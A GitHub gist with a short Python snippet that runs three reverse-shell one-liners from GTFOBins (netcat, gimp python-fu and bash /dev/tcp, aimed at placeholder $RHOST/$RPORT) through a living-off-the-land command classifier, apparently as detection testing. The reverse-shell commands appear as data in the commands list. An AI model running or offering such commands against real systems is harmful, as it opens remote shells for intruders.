Skip to content

Instantly share code, notes, and snippets.

@holisticinfosec
Created December 28, 2021 05:13
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save holisticinfosec/2f921dc9194b585c7a1f5cbec9c0b30f to your computer and use it in GitHub Desktop.
Save holisticinfosec/2f921dc9194b585c7a1f5cbec9c0b30f to your computer and use it in GitHub Desktop.
from GTFOBins: reverse shell examples via nc, gimp, and bash
# from GTFOBins: reverse shell examples via nc, gimp, and bash
# https://gtfobins.github.io/#+reverse%20shellc
from lol.api import LOLC, PlatformType
lolc=LOLC(PlatformType.LINUX) # allowed parameters are PlatformType.LINUX and PlatformType.WINDOWS
commands=['nc -e /bin/sh $RHOST $RPORT',
'gimp -idf --batch-interpreter=python-fu-eval -b import sys,socket,os,pty;s=socket.socket()',
'bash -c exec bash -i &>/dev/tcp/$RHOST/$RPORT <&1']
classification, tags = lolc(commands)
for command, status, tag in zip (commands, classification, tags):
print(command)
print(status)
print(tag)
print("")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment